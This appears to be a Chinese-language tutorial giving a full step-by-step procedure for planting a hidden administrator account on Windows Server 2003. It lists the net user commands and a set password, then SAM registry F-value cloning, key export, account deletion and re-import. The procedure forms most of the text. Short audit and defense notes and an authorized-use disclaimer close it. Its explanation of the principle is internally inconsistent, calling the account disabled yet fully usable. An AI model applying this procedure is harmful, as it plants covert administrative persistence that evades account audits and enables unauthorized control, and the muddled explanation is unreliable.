Windows Server 2003 建立隱藏管理員帳戶：註冊表 SD 值複製法實測

在滲透測試、應急響應或隱蔽維運場景中，建立一個「在圖形介面不顯示、但能正常登入且擁有管理員權限」的隱藏帳戶，是經典技術。本文實測 Windows Server 2003 利用 net user 建帳號 → 匯出管理員 SAM 登錄機碼 F 值覆寫 → 刪除帳號 → 匯入登錄機碼「復活」隱藏帳戶全流程。

核心原理

SAM 資料庫中每個帳戶對應一個 RID（相對識別碼）子機碼（如管理員 0x1F4、Guest 0x1F5、新建帳戶遞增）。子機碼下的 F 二進位值包含帳戶控制旗標（如 ACCOUNTDISABLE、PASSWD_NOTREQD 等）。將管理員的 F 值複製給新帳戶 RID，再刪除帳戶物件但保留 RID 機碼，系統將視為「已停用但存在的管理員等效帳戶」，圖形工具不顯示，但認證子系統仍驗證通過。

實戰步驟

1. 建立帶 $ 尾碼帳號並加入 Administrators：
   net user xbx$ 123,abc /add
net localgroup administrators xbx$ /add
2. 開啟 Regedit 定位 SAM：
   HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users
   需先取得 SAM 機碼權限（右鍵「權限」→ 給 Administrators 完全控制）。
3. 找出新帳號 RID：如 000003F6（十六進位），對應 xbx$。
4. 複製管理員 F 值覆寫新帳號：
   展開管理員 RID 000001F4 → F → 全選二進位資料 → 複製 → 切換至 000003F6 → F → 貼上覆寫。
5. 匯出三個機碼備份：000001F4、000003F6、xbx$（帳號名稱機碼）→ 右鍵「匯出」存為 .reg。
6. 刪除帳號：net user xbx$ /delete（圖形介面帳號消失，但 RID 機碼 000003F6 仍保留）。
7. 匯入備份 .reg 檔：雙擊執行，將三個機碼寫回登錄。

驗證與風險提示

• 驗證：「本機使用者和群組」不見 xbx$，但鎖定工作站或遠端桌面以 xbx$ / 123,abc 可登入，擁有完整管理員權限。
• 風險：修改 SAM 需系統權限，操作失誤可能導致無法開機；隱藏帳戶屬於安全弱點，定期稽核 net user、wmic useraccount list、PowerShell Get-LocalUser 並監控安全性事件 4720/4722/4724/4725/4726/4738/4740/4767。
• 防禦：啟用「稽核帳戶管理」、部署 HIDS/EDR 監控 SAM 寫入、限制實體/遠端存取、定期比對授權帳戶清單。

此技術僅供授權滲透測試、紅隊演練、應急恢復等合法場景使用，嚴禁用於未授權入侵或持久化控制。